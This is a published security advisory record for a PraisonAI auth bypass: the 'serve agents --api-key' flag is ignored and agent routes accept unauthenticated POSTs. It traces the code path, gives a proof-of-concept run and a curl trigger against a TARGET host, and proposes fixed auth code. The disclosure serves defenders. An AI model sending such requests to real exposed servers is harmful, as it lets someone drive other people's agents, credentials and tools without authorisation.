GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-3894

Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02
VLAI
Details

Summary

praisonai serve agents exposes HTTP routes that invoke registered agents. The CLI advertises --api-key with help text "API key for authentication", parses it, and forwards it into ServeHandler. But _create_agents_app() never reads config["api_key"] again and installs no auth dependency or middleware on its direct routes. The configured key is a no-op flag.

As a result, an unauthenticated network caller can invoke exposed agents (POST /agents and POST /agents/{agent_name}) even when the operator passed --api-key. Requests with no credentials, a wrong Authorization: Bearer, a wrong X-API-Key, or an empty bearer all reach agent.start().

The failure is made sharper by the fact that a working auth dependency already exists in the same modulepraisonai.api.agent_invoke.verify_token guards every /api/v1/... route with Depends(verify_token) and is mounted into the very same app. The direct n8n-compat routes simply do not use it.

Technical Detail

Source-to-sink trace

1. CLI advertises and forwards --api-key:

# cli/commands/serve.py
@app.command("agents")
def serve_agents(..., api_key: Optional[str] = typer.Option(None, "--api-key", help="API key for authentication")):
    ...
    if api_key:
        args.extend(["--api-key", api_key])
    exit_code = handle_serve_command(args)

2. cmd_agents() parses api_key into the spec — and that is the last time it is touched:

# cli/features/serve.py — cmd_agents()
spec = { ..., "api_key": {"default": None} }
parsed = self._parse_args(args, spec)
app = self._create_agents_app(parsed)

A grep of the entire cli/features/serve.py for api_key returns only the two spec entries (cmd_agents line ~199 and cmd_unified line ~847). config["api_key"] is never read inside _create_agents_app() / _create_unified_app(); it is never compared, and no dependency is attached.

3. _create_agents_app() imports FastAPI, HTTPException, Request — no Depends, no Header, no auth middleware. Every HTTPException raised in the agents routes is 400/404/500 (validation / not-found / execution error); none is 401.

4. Sink — unauthenticated request reaches agent.start():

# cli/features/serve.py
@app.post("/agents/{agent_name}")          # n8n compatibility route
async def invoke_single_agent(agent_name: str, request: Request):
    body = await request.json()
    query = body.get("query", "") or body.get("message", "")
    ...
    agent = agent_invoke.get_agent(agent_name)
    result = await loop.run_in_executor(None, agent.start, query)   # no auth anywhere above
    return {"response": str(result)}

@app.post(path)                            # default path "/agents"
async def invoke_agents(request: Request, query_data: AgentQuery = None):
    ... agent.start(query) ...

The auth dependency exists — it just isn't applied here

_create_agents_app() mounts the agent_invoke router into the same app:

# cli/features/serve.py
if getattr(agent_invoke, 'FASTAPI_AVAILABLE', False) and hasattr(agent_invoke, 'router'):
    app.include_router(agent_invoke.router)

That router properly authenticates every sensitive route:

# api/agent_invoke.py
CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')
async def verify_token(request, authorization=Header(None)) -> None:
    ...
    if token != CALL_SERVER_TOKEN:
        raise HTTPException(status_code=401, detail="Unauthorized")

@router.get("/api/v1/agents")
async def list_agents(_: None = Depends(verify_token)): ...   # and register/unregister/info all use it

So in the same process GET /api/v1/agents returns 401 without a token, while POST /agents/{agent_name} returns 200. Note also that verify_token reads the CALL_SERVER_TOKEN env var — not the CLI --api-key — so the CLI option feeds no auth path at all.

Trigger conditions

praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret
POST /agents/{agent_name}   body {"query":"..."}   with no / wrong / empty credentials

Proof of Concept

Built the real _create_agents_app() and exercised it over HTTP via FastAPI TestClient. Only praisonaiagents.Agent is stubbed (.start() returns EXEC:<query>), so no real LLM/credentials. CALL_SERVER_TOKEN=expected-secret was set so the sibling /api/v1 router is genuinely armed — making the contrast explicit.

Operator started with: --api-key expected-secret  (CALL_SERVER_TOKEN also set)

== Sibling /api/v1 route WITH Depends(verify_token) ==
  GET /api/v1/agents [no creds    ] -> HTTP 401
  GET /api/v1/agents [wrong bearer] -> HTTP 401

== Direct agent-invocation route (the bug) ==
  POST /agents/owned [no creds      ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [wrong bearer  ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [wrong x-api-key] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents/owned [empty bearer  ] -> HTTP 200  {'response': 'EXEC:hello'}
  POST /agents       [no creds      ] -> HTTP 200  {'response': 'EXEC:hi'}

The auth mechanism works for /api/v1 (401) and is entirely absent on the direct /agents routes (200), despite --api-key being configured.

Equivalent HTTP trigger in a fully installed environment

praisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret
curl -sS -X POST http://TARGET:8765/agents/owned \
  -H 'Content-Type: application/json' --data-binary '{"query":"hello"}'
# -> 200 {"response":"..."}  (expected: 401 Unauthorized)

Impact

  • Direct primitive: unauthenticated agent invocation despite a configured API key.
  • Misleading control (aggravating): because the CLI advertises --api-key as authentication, operators may deliberately expose the service (e.g. --host 0.0.0.0, reverse proxy, n8n integration) believing it is protected, increasing the real-world likelihood of exposure.
  • Downstream: exposed agents commonly hold LLM provider credentials, RAG/memory, browser/search, MCP, or shell/file tools; the bypass lets an attacker drive those capabilities. Baseline impact is unauthorized LLM cost + access to agent responses.

Suggested Mitigation

  • When config["api_key"] is set, build a shared auth dependency and attach it to every agent-invocation / state-changing route in _create_agents_app() and _create_unified_app() (dependencies=[Depends(verify)]).
  • Reuse / unify with the existing verify_token so the direct /agents routes and the /api/v1 routes share one mechanism, and wire the CLI --api-key into that mechanism (today it feeds nothing; verify_token reads CALL_SERVER_TOKEN).
  • Use constant-time comparison (hmac.compare_digest); verify_token currently uses !=.
  • Update discovery metadata from auth_modes=["none"] to ["api-key","bearer"] for protected endpoints.
  • Regression tests next to tests/unit/test_serve_unified.py: _create_agents_app({"api_key":"secret",...})POST /agents/{name} with no creds / wrong Authorization / wrong X-API-Key returns 401; correct key succeeds.
import hmac
from fastapi import Header, HTTPException, Depends

def _auth_dependency(expected_key: str):
    async def verify(authorization: str | None = Header(None),
                     x_api_key: str | None = Header(None, alias="X-API-Key")):
        token = x_api_key
        if authorization and authorization.startswith("Bearer "):
            token = authorization[7:]
        if not token or not hmac.compare_digest(token, expected_key):
            raise HTTPException(status_code=401, detail="Unauthorized")
    return Depends(verify)
Impacted products
Name purl
praisonai pkg:pypi/praisonai

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai",
        "purl": "pkg:pypi/praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.36",
        "0.0.37",
        "0.0.38",
        "0.0.39",
        "0.0.4",
        "0.0.40",
        "0.0.41",
        "0.0.42",
        "0.0.43",
        "0.0.44",
        "0.0.45",
        "0.0.46",
        "0.0.47",
        "0.0.48",
        "0.0.49",
        "0.0.5",
        "0.0.50",
        "0.0.52",
        "0.0.53",
        "0.0.54",
        "0.0.55",
        "0.0.56",
        "0.0.57",
        "0.0.58",
        "0.0.59",
        "0.0.59rc11",
        "0.0.59rc2",
        "0.0.59rc3",
        "0.0.59rc5",
        "0.0.59rc6",
        "0.0.59rc7",
        "0.0.59rc8",
        "0.0.59rc9",
        "0.0.6",
        "0.0.61",
        "0.0.64",
        "0.0.65",
        "0.0.66",
        "0.0.67",
        "0.0.68",
        "0.0.69",
        "0.0.7",
        "0.0.70",
        "0.0.71",
        "0.0.72",
        "0.0.73",
        "0.0.74",
        "0.0.8",
        "0.0.9",
        "0.1.0",
        "0.1.1",
        "0.1.10",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "1.0.0",
        "1.0.1",
        "1.0.10",
        "1.0.11",
        "1.0.2",
        "1.0.3",
        "1.0.4",
        "1.0.5",
        "1.0.6",
        "1.0.8",
        "1.0.9",
        "2.0.0",
        "2.0.1",
        "2.0.10",
        "2.0.11",
        "2.0.12",
        "2.0.13",
        "2.0.14",
        "2.0.15",
        "2.0.16",
        "2.0.17",
        "2.0.18",
        "2.0.19",
        "2.0.2",
        "2.0.20",
        "2.0.22",
        "2.0.23",
        "2.0.24",
        "2.0.25",
        "2.0.26",
        "2.0.27",
        "2.0.28",
        "2.0.29",
        "2.0.3",
        "2.0.30",
        "2.0.31",
        "2.0.32",
        "2.0.33",
        "2.0.34",
        "2.0.35",
        "2.0.36",
        "2.0.37",
        "2.0.38",
        "2.0.39",
        "2.0.40",
        "2.0.41",
        "2.0.42",
        "2.0.43",
        "2.0.44",
        "2.0.45",
        "2.0.46",
        "2.0.47",
        "2.0.48",
        "2.0.49",
        "2.0.5",
        "2.0.50",
        "2.0.51",
        "2.0.53",
        "2.0.54",
        "2.0.55",
        "2.0.56",
        "2.0.57",
        "2.0.58",
        "2.0.59",
        "2.0.6",
        "2.0.60",
        "2.0.61",
        "2.0.62",
        "2.0.63",
        "2.0.64",
        "2.0.65",
        "2.0.66",
        "2.0.67",
        "2.0.68",
        "2.0.69",
        "2.0.7",
        "2.0.70",
        "2.0.71",
        "2.0.72",
        "2.0.73",
        "2.0.74",
        "2.0.75",
        "2.0.76",
        "2.0.77",
        "2.0.78",
        "2.0.79",
        "2.0.8",
        "2.0.80",
        "2.0.81",
        "2.0.9",
        "2.1.0",
        "2.1.1",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.1",
        "2.2.10",
        "2.2.11",
        "2.2.12",
        "2.2.13",
        "2.2.14",
        "2.2.15",
        "2.2.16",
        "2.2.17",
        "2.2.18",
        "2.2.19",
        "2.2.2",
        "2.2.20",
        "2.2.21",
        "2.2.22",
        "2.2.24",
        "2.2.25",
        "2.2.26",
        "2.2.27",
        "2.2.28",
        "2.2.29",
        "2.2.3",
        "2.2.30",
        "2.2.31",
        "2.2.32",
        "2.2.33",
        "2.2.34",
        "2.2.35",
        "2.2.36",
        "2.2.37",
        "2.2.38",
        "2.2.39",
        "2.2.4",
        "2.2.40",
        "2.2.41",
        "2.2.42",
        "2.2.43",
        "2.2.44",
        "2.2.45",
        "2.2.46",
        "2.2.47",
        "2.2.48",
        "2.2.49",
        "2.2.5",
        "2.2.50",
        "2.2.51",
        "2.2.52",
        "2.2.53",
        "2.2.54",
        "2.2.55",
        "2.2.56",
        "2.2.57",
        "2.2.58",
        "2.2.59",
        "2.2.6",
        "2.2.60",
        "2.2.61",
        "2.2.62",
        "2.2.63",
        "2.2.64",
        "2.2.65",
        "2.2.66",
        "2.2.67",
        "2.2.68",
        "2.2.69",
        "2.2.7",
        "2.2.70",
        "2.2.71",
        "2.2.72",
        "2.2.73",
        "2.2.74",
        "2.2.75",
        "2.2.76",
        "2.2.77",
        "2.2.78",
        "2.2.79",
        "2.2.8",
        "2.2.80",
        "2.2.81",
        "2.2.82",
        "2.2.83",
        "2.2.84",
        "2.2.86",
        "2.2.87",
        "2.2.88",
        "2.2.89",
        "2.2.9",
        "2.2.90",
        "2.2.91",
        "2.2.93",
        "2.2.95",
        "2.2.96",
        "2.2.97",
        "2.2.98",
        "2.2.99",
        "2.3.0",
        "2.3.1",
        "2.3.10",
        "2.3.11",
        "2.3.12",
        "2.3.13",
        "2.3.14",
        "2.3.15",
        "2.3.16",
        "2.3.18",
        "2.3.19",
        "2.3.2",
        "2.3.20",
        "2.3.21",
        "2.3.22",
        "2.3.23",
        "2.3.24",
        "2.3.25",
        "2.3.26",
        "2.3.27",
        "2.3.28",
        "2.3.29",
        "2.3.3",
        "2.3.30",
        "2.3.31",
        "2.3.32",
        "2.3.33",
        "2.3.34",
        "2.3.35",
        "2.3.36",
        "2.3.37",
        "2.3.38",
        "2.3.39",
        "2.3.4",
        "2.3.40",
        "2.3.41",
        "2.3.42",
        "2.3.43",
        "2.3.44",
        "2.3.45",
        "2.3.46",
        "2.3.47",
        "2.3.48",
        "2.3.49",
        "2.3.5",
        "2.3.50",
        "2.3.51",
        "2.3.52",
        "2.3.53",
        "2.3.54",
        "2.3.55",
        "2.3.56",
        "2.3.57",
        "2.3.58",
        "2.3.59",
        "2.3.6",
        "2.3.60",
        "2.3.61",
        "2.3.62",
        "2.3.63",
        "2.3.64",
        "2.3.65",
        "2.3.66",
        "2.3.67",
        "2.3.68",
        "2.3.69",
        "2.3.7",
        "2.3.70",
        "2.3.71",
        "2.3.72",
        "2.3.73",
        "2.3.74",
        "2.3.75",
        "2.3.76",
        "2.3.77",
        "2.3.78",
        "2.3.79",
        "2.3.8",
        "2.3.80",
        "2.3.81",
        "2.3.82",
        "2.3.83",
        "2.3.84",
        "2.3.85",
        "2.3.86",
        "2.3.87",
        "2.3.9",
        "2.4.0",
        "2.4.1",
        "2.4.2",
        "2.4.3",
        "2.4.4",
        "2.5.0",
        "2.5.1",
        "2.5.2",
        "2.5.3",
        "2.5.4",
        "2.5.5",
        "2.5.6",
        "2.5.7",
        "2.6.0",
        "2.6.1",
        "2.6.2",
        "2.6.3",
        "2.6.4",
        "2.6.5",
        "2.6.6",
        "2.6.7",
        "2.6.8",
        "2.7.0",
        "2.8.3",
        "2.8.4",
        "2.8.5",
        "2.8.6",
        "2.8.7",
        "2.8.8",
        "2.8.9",
        "2.9.0",
        "2.9.1",
        "2.9.2",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.2",
        "3.1.3",
        "3.1.4",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9",
        "3.10.0",
        "3.10.1",
        "3.10.10",
        "3.10.11",
        "3.10.12",
        "3.10.13",
        "3.10.14",
        "3.10.15",
        "3.10.16",
        "3.10.17",
        "3.10.18",
        "3.10.19",
        "3.10.2",
        "3.10.20",
        "3.10.21",
        "3.10.22",
        "3.10.23",
        "3.10.24",
        "3.10.25",
        "3.10.26",
        "3.10.27",
        "3.10.3",
        "3.10.4",
        "3.10.5",
        "3.10.6",
        "3.10.7",
        "3.10.8",
        "3.10.9",
        "3.11.0",
        "3.11.1",
        "3.11.10",
        "3.11.11",
        "3.11.12",
        "3.11.13",
        "3.11.14",
        "3.11.2",
        "3.11.3",
        "3.11.4",
        "3.11.8",
        "3.11.9",
        "3.12.0",
        "3.12.1",
        "3.12.2",
        "3.12.3",
        "3.2.0",
        "3.2.1",
        "3.3.0",
        "3.3.1",
        "3.4.0",
        "3.4.1",
        "3.5.0",
        "3.5.1",
        "3.5.2",
        "3.5.3",
        "3.5.4",
        "3.5.5",
        "3.5.6",
        "3.5.7",
        "3.5.8",
        "3.5.9",
        "3.6.0",
        "3.6.1",
        "3.6.2",
        "3.7.0",
        "3.7.1",
        "3.7.2",
        "3.7.3",
        "3.7.4",
        "3.7.5",
        "3.7.6",
        "3.7.7",
        "3.7.8",
        "3.7.9",
        "3.8.0",
        "3.8.1",
        "3.8.10",
        "3.8.11",
        "3.8.12",
        "3.8.13",
        "3.8.14",
        "3.8.16",
        "3.8.17",
        "3.8.18",
        "3.8.19",
        "3.8.2",
        "3.8.20",
        "3.8.21",
        "3.8.22",
        "3.8.3",
        "3.8.4",
        "3.8.5",
        "3.8.6",
        "3.8.7",
        "3.8.8",
        "3.8.9",
        "3.9.0",
        "3.9.1",
        "3.9.10",
        "3.9.11",
        "3.9.12",
        "3.9.13",
        "3.9.14",
        "3.9.15",
        "3.9.16",
        "3.9.17",
        "3.9.18",
        "3.9.19",
        "3.9.2",
        "3.9.20",
        "3.9.21",
        "3.9.22",
        "3.9.23",
        "3.9.24",
        "3.9.25",
        "3.9.26",
        "3.9.27",
        "3.9.28",
        "3.9.29",
        "3.9.3",
        "3.9.30",
        "3.9.31",
        "3.9.32",
        "3.9.33",
        "3.9.34",
        "3.9.35",
        "3.9.4",
        "3.9.5",
        "3.9.6",
        "3.9.7",
        "3.9.8",
        "3.9.9",
        "4.0.0",
        "4.1.0",
        "4.2.0",
        "4.2.1",
        "4.2.2",
        "4.2.3",
        "4.2.4",
        "4.3.0",
        "4.3.1",
        "4.4.0",
        "4.4.10",
        "4.4.11",
        "4.4.12",
        "4.4.2",
        "4.4.3",
        "4.4.4",
        "4.4.5",
        "4.4.6",
        "4.4.7",
        "4.4.8",
        "4.4.9",
        "4.5.0",
        "4.5.1",
        "4.5.10",
        "4.5.100",
        "4.5.101",
        "4.5.102",
        "4.5.103",
        "4.5.104",
        "4.5.105",
        "4.5.106",
        "4.5.107",
        "4.5.108",
        "4.5.109",
        "4.5.11",
        "4.5.110",
        "4.5.111",
        "4.5.112",
        "4.5.113",
        "4.5.114",
        "4.5.115",
        "4.5.117",
        "4.5.118",
        "4.5.119",
        "4.5.12",
        "4.5.120",
        "4.5.121",
        "4.5.122",
        "4.5.123",
        "4.5.124",
        "4.5.125",
        "4.5.126",
        "4.5.127",
        "4.5.128",
        "4.5.129",
        "4.5.13",
        "4.5.130",
        "4.5.131",
        "4.5.132",
        "4.5.133",
        "4.5.134",
        "4.5.135",
        "4.5.136",
        "4.5.137",
        "4.5.139",
        "4.5.14",
        "4.5.140",
        "4.5.143",
        "4.5.144",
        "4.5.145",
        "4.5.149",
        "4.5.15",
        "4.5.16",
        "4.5.18",
        "4.5.19",
        "4.5.2",
        "4.5.20",
        "4.5.21",
        "4.5.22",
        "4.5.23",
        "4.5.24",
        "4.5.25",
        "4.5.26",
        "4.5.27",
        "4.5.28",
        "4.5.29",
        "4.5.3",
        "4.5.30",
        "4.5.31",
        "4.5.32",
        "4.5.33",
        "4.5.34",
        "4.5.35",
        "4.5.36",
        "4.5.37",
        "4.5.38",
        "4.5.39",
        "4.5.40",
        "4.5.41",
        "4.5.42",
        "4.5.43",
        "4.5.44",
        "4.5.45",
        "4.5.46",
        "4.5.48",
        "4.5.49",
        "4.5.5",
        "4.5.51",
        "4.5.52",
        "4.5.54",
        "4.5.55",
        "4.5.56",
        "4.5.57",
        "4.5.58",
        "4.5.59",
        "4.5.6",
        "4.5.60",
        "4.5.62",
        "4.5.63",
        "4.5.64",
        "4.5.65",
        "4.5.67",
        "4.5.68",
        "4.5.69",
        "4.5.7",
        "4.5.70",
        "4.5.71",
        "4.5.72",
        "4.5.73",
        "4.5.74",
        "4.5.76",
        "4.5.77",
        "4.5.78",
        "4.5.79",
        "4.5.8",
        "4.5.80",
        "4.5.81",
        "4.5.82",
        "4.5.83",
        "4.5.85",
        "4.5.87",
        "4.5.88",
        "4.5.89",
        "4.5.9",
        "4.5.90",
        "4.5.93",
        "4.5.94",
        "4.5.95",
        "4.5.96",
        "4.5.97",
        "4.5.98",
        "4.6.10",
        "4.6.11",
        "4.6.12",
        "4.6.13",
        "4.6.14",
        "4.6.15",
        "4.6.16",
        "4.6.18",
        "4.6.19",
        "4.6.20",
        "4.6.21",
        "4.6.22",
        "4.6.23",
        "4.6.24",
        "4.6.25",
        "4.6.26",
        "4.6.27",
        "4.6.28",
        "4.6.29",
        "4.6.30",
        "4.6.31",
        "4.6.32",
        "4.6.33",
        "4.6.34",
        "4.6.35",
        "4.6.36",
        "4.6.37",
        "4.6.38",
        "4.6.39",
        "4.6.40",
        "4.6.41",
        "4.6.42",
        "4.6.43",
        "4.6.44",
        "4.6.45",
        "4.6.46",
        "4.6.47",
        "4.6.48",
        "4.6.50",
        "4.6.51",
        "4.6.52",
        "4.6.53",
        "4.6.54",
        "4.6.55",
        "4.6.56",
        "4.6.57",
        "4.6.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55538",
    "GHSA-r7v3-x45f-g7hp"
  ],
  "details": "### Summary\n`praisonai serve agents` exposes HTTP routes that invoke registered agents. The CLI advertises `--api-key` with help text \"API key for authentication\", parses it, and forwards it into `ServeHandler`. But `_create_agents_app()` **never reads `config[\"api_key\"]` again** and installs no auth dependency or middleware on its direct routes. The configured key is a no-op flag.\n \nAs a result, an unauthenticated network caller can invoke exposed agents (`POST /agents` and `POST /agents/{agent_name}`) even when the operator passed `--api-key`. Requests with no credentials, a wrong `Authorization: Bearer`, a wrong `X-API-Key`, or an empty bearer all reach `agent.start()`.\n \nThe failure is made sharper by the fact that a **working auth dependency already exists in the same module** \u2014 `praisonai.api.agent_invoke.verify_token` guards every `/api/v1/...` route with `Depends(verify_token)` and is mounted into the very same app. The direct n8n-compat routes simply do not use it.\n\n## Technical Detail\n \n### Source-to-sink trace\n \n**1. CLI advertises and forwards `--api-key`:**\n \n```python\n# cli/commands/serve.py\n@app.command(\"agents\")\ndef serve_agents(..., api_key: Optional[str] = typer.Option(None, \"--api-key\", help=\"API key for authentication\")):\n    ...\n    if api_key:\n        args.extend([\"--api-key\", api_key])\n    exit_code = handle_serve_command(args)\n```\n \n**2. `cmd_agents()` parses `api_key` into the spec \u2014 and that is the last time it is touched:**\n \n```python\n# cli/features/serve.py \u2014 cmd_agents()\nspec = { ..., \"api_key\": {\"default\": None} }\nparsed = self._parse_args(args, spec)\napp = self._create_agents_app(parsed)\n```\n \nA grep of the entire `cli/features/serve.py` for `api_key` returns **only** the two `spec` entries (`cmd_agents` line ~199 and `cmd_unified` line ~847). `config[\"api_key\"]` is never read inside `_create_agents_app()` / `_create_unified_app()`; it is never compared, and no dependency is attached.\n \n**3. `_create_agents_app()` imports `FastAPI, HTTPException, Request` \u2014 no `Depends`, no `Header`, no auth middleware.** Every `HTTPException` raised in the agents routes is `400`/`404`/`500` (validation / not-found / execution error); none is `401`.\n \n**4. Sink \u2014 unauthenticated request reaches `agent.start()`:**\n \n```python\n# cli/features/serve.py\n@app.post(\"/agents/{agent_name}\")          # n8n compatibility route\nasync def invoke_single_agent(agent_name: str, request: Request):\n    body = await request.json()\n    query = body.get(\"query\", \"\") or body.get(\"message\", \"\")\n    ...\n    agent = agent_invoke.get_agent(agent_name)\n    result = await loop.run_in_executor(None, agent.start, query)   # no auth anywhere above\n    return {\"response\": str(result)}\n \n@app.post(path)                            # default path \"/agents\"\nasync def invoke_agents(request: Request, query_data: AgentQuery = None):\n    ... agent.start(query) ...\n```\n\n### The auth dependency exists \u2014 it just isn\u0027t applied here\n \n`_create_agents_app()` mounts the `agent_invoke` router into the same app:\n \n```python\n# cli/features/serve.py\nif getattr(agent_invoke, \u0027FASTAPI_AVAILABLE\u0027, False) and hasattr(agent_invoke, \u0027router\u0027):\n    app.include_router(agent_invoke.router)\n```\n \nThat router properly authenticates every sensitive route:\n \n```python\n# api/agent_invoke.py\nCALL_SERVER_TOKEN = os.getenv(\u0027CALL_SERVER_TOKEN\u0027)\nasync def verify_token(request, authorization=Header(None)) -\u003e None:\n    ...\n    if token != CALL_SERVER_TOKEN:\n        raise HTTPException(status_code=401, detail=\"Unauthorized\")\n \n@router.get(\"/api/v1/agents\")\nasync def list_agents(_: None = Depends(verify_token)): ...   # and register/unregister/info all use it\n```\n \nSo in the same process `GET /api/v1/agents` returns `401` without a token, while `POST /agents/{agent_name}` returns `200`. Note also that `verify_token` reads the `CALL_SERVER_TOKEN` env var \u2014 **not** the CLI `--api-key` \u2014 so the CLI option feeds no auth path at all.\n \n### Trigger conditions\n \n```\npraisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret\nPOST /agents/{agent_name}   body {\"query\":\"...\"}   with no / wrong / empty credentials\n```\n \n## Proof of Concept\n \nBuilt the **real** `_create_agents_app()` and exercised it over HTTP via FastAPI `TestClient`. Only `praisonaiagents.Agent` is stubbed (`.start()` returns `EXEC:\u003cquery\u003e`), so no real LLM/credentials. `CALL_SERVER_TOKEN=expected-secret` was set so the sibling `/api/v1` router is genuinely armed \u2014 making the contrast explicit.\n \n```\nOperator started with: --api-key expected-secret  (CALL_SERVER_TOKEN also set)\n \n== Sibling /api/v1 route WITH Depends(verify_token) ==\n  GET /api/v1/agents [no creds    ] -\u003e HTTP 401\n  GET /api/v1/agents [wrong bearer] -\u003e HTTP 401\n \n== Direct agent-invocation route (the bug) ==\n  POST /agents/owned [no creds      ] -\u003e HTTP 200  {\u0027response\u0027: \u0027EXEC:hello\u0027}\n  POST /agents/owned [wrong bearer  ] -\u003e HTTP 200  {\u0027response\u0027: \u0027EXEC:hello\u0027}\n  POST /agents/owned [wrong x-api-key] -\u003e HTTP 200  {\u0027response\u0027: \u0027EXEC:hello\u0027}\n  POST /agents/owned [empty bearer  ] -\u003e HTTP 200  {\u0027response\u0027: \u0027EXEC:hello\u0027}\n  POST /agents       [no creds      ] -\u003e HTTP 200  {\u0027response\u0027: \u0027EXEC:hi\u0027}\n```\n \nThe auth mechanism works for `/api/v1` (401) and is entirely absent on the direct `/agents` routes (200), despite `--api-key` being configured.\n \n### Equivalent HTTP trigger in a fully installed environment\n \n```bash\npraisonai serve agents --file agents.yaml --host 0.0.0.0 --port 8765 --api-key expected-secret\ncurl -sS -X POST http://TARGET:8765/agents/owned \\\n  -H \u0027Content-Type: application/json\u0027 --data-binary \u0027{\"query\":\"hello\"}\u0027\n# -\u003e 200 {\"response\":\"...\"}  (expected: 401 Unauthorized)\n```\n\n## Impact\n \n- **Direct primitive**: unauthenticated agent invocation despite a configured API key.\n- **Misleading control (aggravating)**: because the CLI advertises `--api-key` as authentication, operators may deliberately expose the service (e.g. `--host 0.0.0.0`, reverse proxy, n8n integration) believing it is protected, increasing the real-world likelihood of exposure.\n- **Downstream**: exposed agents commonly hold LLM provider credentials, RAG/memory, browser/search, MCP, or shell/file tools; the bypass lets an attacker drive those capabilities. Baseline impact is unauthorized LLM cost + access to agent responses.\n\n## Suggested Mitigation\n \n- When `config[\"api_key\"]` is set, build a shared auth dependency and attach it to every agent-invocation / state-changing route in `_create_agents_app()` and `_create_unified_app()` (`dependencies=[Depends(verify)]`).\n- Reuse / unify with the existing `verify_token` so the direct `/agents` routes and the `/api/v1` routes share one mechanism, and wire the CLI `--api-key` into that mechanism (today it feeds nothing; `verify_token` reads `CALL_SERVER_TOKEN`).\n- Use constant-time comparison (`hmac.compare_digest`); `verify_token` currently uses `!=`.\n- Update discovery metadata from `auth_modes=[\"none\"]` to `[\"api-key\",\"bearer\"]` for protected endpoints.\n- Regression tests next to `tests/unit/test_serve_unified.py`: `_create_agents_app({\"api_key\":\"secret\",...})` \u2192 `POST /agents/{name}` with no creds / wrong `Authorization` / wrong `X-API-Key` returns `401`; correct key succeeds.\n```python\nimport hmac\nfrom fastapi import Header, HTTPException, Depends\n \ndef _auth_dependency(expected_key: str):\n    async def verify(authorization: str | None = Header(None),\n                     x_api_key: str | None = Header(None, alias=\"X-API-Key\")):\n        token = x_api_key\n        if authorization and authorization.startswith(\"Bearer \"):\n            token = authorization[7:]\n        if not token or not hmac.compare_digest(token, expected_key):\n            raise HTTPException(status_code=401, detail=\"Unauthorized\")\n    return Depends(verify)\n```",
  "id": "PYSEC-2026-3894",
  "modified": "2026-09-10T11:02:27.429845Z",
  "published": "2026-09-10T09:44:54.647664Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-r7v3-x45f-g7hp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r7v3-x45f-g7hp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55538"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: [Auth Bypass] `praisonai serve agents --api-key` is silently ignored \u2014 agent-invocation routes (`POST /agents`, `POST /agents/{agent_name}`) run unauthenticated"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…